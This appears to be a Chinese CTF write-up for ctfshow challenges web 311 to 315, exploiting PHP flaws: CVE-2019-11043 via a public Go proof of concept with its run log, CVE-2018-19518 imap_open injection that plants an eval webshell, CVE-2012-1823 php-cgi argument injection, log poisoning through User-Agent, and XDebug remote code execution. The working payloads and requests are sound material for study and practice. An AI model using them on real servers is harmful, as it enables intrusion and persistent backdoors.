ctfshow_phpCVE

web 311

CVE-2019-11043

Response => X-Powered-By: PHP/7.1.33dev
CVE-2019-11043

CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞,该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时,会因为遇到换行符(%0a)导致PATH_INFO为空,最终可导致任意代码执行

普遍出现在Nginx+php-fpm环境中,且PHP版本在7.0-7.3之间

golang

使用网上公开的 POC phuip-fpizdam

1
2
3
4
5
6
7
sudo apt install golang

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam

//go env -w GOPROXY=https://goproxy.cn
go get -v && go build

运行脚本

1
2
3
4
5
6
7
8
9
10
11
go run . "http://...../index.php"

2024/08/09 07:30:48 Base status code is 200
2024/08/09 07:30:52 Status code 502 for qsl=1765, adding as a candidate
2024/08/09 07:30:54 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2024/08/09 07:31:12 Attack params found: --qsl 1755 --pisos 237 --skip-detect
2024/08/09 07:31:12 Trying to set "session.auto_start=0"...
2024/08/09 07:31:16 Detect() returned attack params: --qsl 1755 --pisos 237 --skip-detect <-- REMEMBER THIS
2024/08/09 07:31:16 Performing attack using php.ini settings...
2024/08/09 07:31:16 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2024/08/09 07:31:16 Trying to cleanup /tmp/a...
1
.../index.php?a=cat%20fl0gHe1e.txt

web 312

CVE-2018-19518

Response => X-Powered-By: PHP/5.6.38
CVE-2018-19518

PHP的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rshssh命令之前没有正确地过滤邮箱名称。

如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含 -oProxyCommand= 参数的恶意IMAP服务器名称来利用此漏洞。
而debian/ubuntu中默认使用ssh来代替rsh的功能

本漏洞利用是实现了任意命令执行。命令执行不是由PHP,而是由系统库来执行 si_uid=0,相对比较危险

测试漏洞

1
2
3
4
5
6
7
8
9
// 目的
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";

// 命令
ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost

// 参数 (需要绕过解析问题 , 对参数进行斜杠和空格的转义 用$IFS和\t或者base64编码和相关命令再解码)
// base + url
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}a&username=1&password=1

利用漏洞

1
2
3
4
5
6
7
8
9
10
11
12
// 木马 + base64
<?php @eval($_POST[coco]);?>


//写入木马 + base64
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NvY29dKTs/Pg==" | base64 -d >/var/www/html/choco.php
//
ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzJOdlkyOWRLVHMvUGc9PSIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvY2hvY28ucGhw

// 传参 (hostname)
// 这里不能出现+ = , 需要URLencode绕过
x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzJOdlkyOWRLVHMvUGc9PSIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvY2hvY28ucGhw|base64%09-d|sh}

此时 choco.php 就被创建了

1
2
../choco.php
post: coco=system('ls');

web 313

CVE-2012-1823

Response => X-Powered-By: PHP/5.4.1
CVE-2012-1823

cgi、fastcgi、fpm

CGI、FastCGI 和 FPM 是与Web服务器交互以运行脚本或程序并生成动态网页内容的几种技术。下面是对这三种技术的简要介绍:

  1. CGI (Common Gateway Interface):
    • CGI 是一种标准,用于定义Web服务器与外部程序之间的通信方式。
    • 它是最早的技术之一,允许服务器执行外部脚本或程序,并返回执行结果作为HTTP响应。
    • CGI程序可以是任何语言编写的,只要它可以读取输入(通常是标准输入)并写入输出(通常是标准输出)。
    • 但是,CGI的缺点是每次请求都需要启动一个新的进程,这可能导致性能问题。
  2. FastCGI:
    • FastCGI 是对 CGI 的改进,旨在解决 CGI 每次请求都需要启动新进程的问题。
    • 它允许 CGI 程序持续运行,并且可以处理多个请求,而不需要为每个请求重新启动进程。
    • FastCGI 通过使用一个长连接来与Web服务器通信,从而减少了进程启动的开销。
    • 这可以显著提高性能,特别是在高流量的网站上。
  3. FPM (FastCGI Process Manager):
    • FPM 是一个FastCGI的进程管理器,主要用于PHP语言。
    • 它负责管理PHP-FPM进程,这些进程是预先启动的,并且可以处理多个并发请求。
    • FPM 可以配置以控制进程的数量、最大请求数、超时设置等,从而优化资源使用和响应时间。
    • 使用 FPM,PHP 脚本可以更高效地运行,因为它避免了每次请求都重新解析和加载PHP代码。

下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者” , 最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换

php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。

php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器
简单理解PHP拥有两个sapicgifastcgi,其中fpm就是fastcgi下的一种运行方式,是一个更高效的fastcgi运行管理方式

原理

CVE-2012-1823就是php-cgi这个sapi出现的漏洞,上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。

这个漏洞简单来说,就是用户请求的 querystring 被作为了 php-cgi 的参数,最终导致了一系列结果

测试漏洞

显示源码

1
../?-s

任意文件包含

通过使用 -d 指定 auto_prepend_file 来制造任意文件包含漏洞,执行任意代码:

1
2
// 需要URLencode
../?-d allow_url_include=on -d auto_prepend_file=php://input

使用-d参数可以配合php.ini中的配置文件

  • allow_url_include: 允许包含远程机器的文件
  • auto_prepend_file: 页面顶部加载的内容
  • auto_append_file: 页面底部加载的内容
  • php://input: 通过POST方式提交数据,这里运用的很巧妙,使用post方式提交需要包含的PHP代码
1
2
3
4
5
6
7
8
GET /?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a%2f%2finput HTTP/1.1
...

<?php
var_dump(system('cd /;cd ./somewhere;ls;tac fla9.txt'));
// phpinfo();
// echo shell_exec("pwd"");
?>

本地文件包含

通过/proc/self/environ, 修改 User-Agent 为PHP代码,查看 HTTP_USER_AGENT

1
2
3
4
GET /?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a%2f%2finput HTTP/1.1
User-Agent: <?php system('pwd');?>
...

web 314

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php  

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
include($file);
}

参考 web 81

1
2
3
POST /?f=/../../../var/log/nginx/access.log HTTP/1.1  
User-Agent: <?php system('ls');?>
//system('cat /fl6g');

web 315

地址: web315

漏洞

Response => X-Powered-By: PHP/7.1.12
XDebug 远程调试漏洞
vulhub/php/xdebug-rce

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1

1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问 http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或 X-Forwarded-For 头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

漏洞利用

因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。

漏洞复现脚本,指定目标web地址、待执行的php代码即可:

1
2
3
4
5
# 要求用python3并安装requests库
python3 Xdebug.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec('id');'

python3 Xdebug.py -t http://....../index.php -c 'shell_exec('id');'

理论上这里需要一个带外网 IP 的服务器 , time out 唉 , CVE 就到这里结束了